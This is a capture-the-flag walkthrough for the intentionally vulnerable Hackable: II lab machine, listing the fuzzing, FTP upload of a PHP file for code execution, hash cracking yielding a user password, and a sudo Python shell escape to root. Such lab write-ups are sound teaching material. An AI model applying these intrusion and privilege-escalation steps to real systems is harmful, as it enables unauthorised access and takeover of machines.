Hackable-II

By Lawcky 07/01/24

Introduction

an easy vm

Difficulty : Easy

Additionnal info :

Name: Hackable: II
Release date: 15 Jun 2021
Author: Elias Sousa
Series: Hackable

|NOTE| if you want to see all the scans we wont copy them here as they would be way too voluminous, click here to see them

---

In this write-up

• nmap
• nikto
• ffuf
• hashcat
• ftp
• uploading rce using ftp
• python (os module)

---

Write-UP

FUZZING

ffuf -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt:FUZZ -u http://192.168.1.43/FUZZ -fc 403

fuzzed : FUZZ .FUZZ FUZZ.txt .FUZZ.txt

Understanding the site

in the ftp connection we find

which means the ftp files are accessible at http://192.168.1.43/files/**ourfiles**

lets try to add a php file to the ftp to execute code on the server.

It Worked !

Privilege Escalation

www-data to user shrek

in order to find this hidden file :

find / -name .runme.sh 2>/dev/null

hashcat -m 0 hash /usr/share/rockyou.txt

shrek:onion

first flag found

---

from shrek to root

sudo -l

we can easily exploit this to get a root shell using the “os” module of python

sudo /usr/bin/python3.5

import os;

os.execl("/bin/sh", "sh", "-p")

got second flag